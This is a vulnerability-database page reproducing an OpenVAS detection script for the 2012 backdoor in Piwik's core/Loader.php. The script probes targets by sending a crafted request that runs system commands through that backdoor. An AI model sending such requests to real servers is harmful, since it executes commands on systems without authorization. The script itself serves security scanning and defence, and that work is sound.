Lucene search
+L

Backdoor in Piwik analytics software

🗓️ 27 Nov 2012 00:00:00Reported by Copyright (C) 2012 Greenbone AGType 
openvas
 openvas
🔗 plugins.openvas.org👁 22 Views

Backdoor in Piwik analytics software, allows attackers to take control of a syste

Refs
Code
# SPDX-FileCopyrightText: 2012 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:piwik:piwik";

if (description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.103611");
  script_version("2023-07-25T05:05:58+0000");
  script_tag(name:"cvss_base", value:"10.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:C/A:C");
  script_name("Backdoor in Piwik analytics software");
  script_xref(name:"URL", value:"http://piwik.org/blog/2012/11/security-report-piwik-org-webserver-hacked-for-a-few-hours-on-2012-nov-26th/");
  script_xref(name:"URL", value:"http://forum.piwik.org/read.php?2,97666");

  script_tag(name:"last_modification", value:"2023-07-25 05:05:58 +0000 (Tue, 25 Jul 2023)");
  script_tag(name:"creation_date", value:"2012-11-27 13:36:59 +0100 (Tue, 27 Nov 2012)");
  script_category(ACT_ATTACK);
  script_family("Web application abuses");
  script_copyright("Copyright (C) 2012 Greenbone AG");
  script_dependencies("sw_piwik_detect.nasl", "os_detection.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("piwik/installed");

  script_tag(name:"solution", value:"See the References.");
  script_tag(name:"insight", value:"The Backdoor is in 'core/Loader.php' and create also the files:

 lic.log
 core/DataTable/Filter/Megre.php");
  script_tag(name:"summary", value:"A backdoor has been added to the web server analytics Piwik which
 allows attackers to take control of a system.");

  script_tag(name:"qod_type", value:"remote_app");
  script_tag(name:"solution_type", value:"VendorFix");

  exit(0);
}

include("misc_func.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");
include("os_func.inc");

if( ! port = get_app_port( cpe:CPE ) ) exit( 0 );
if( ! dir = get_app_location( cpe:CPE, port:port ) ) exit( 0 );

if (dir == "/") dir = "";

cmds = exploit_commands();

foreach cmd (keys(cmds)) {

  url = dir + "/core/Loader.php?s=1&g=system('" + cmds[cmd]  + "')";

  if(http_vuln_check(port:port, url:url, pattern:cmd)) {

    report = http_report_vuln_url(port:port, url:url);
    security_message(port:port, data:report);
    exit(0);
   }
}

exit(99);

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

25 Jul 2023 00:00Current
7.4High risk
Vulners AI Score7.4
22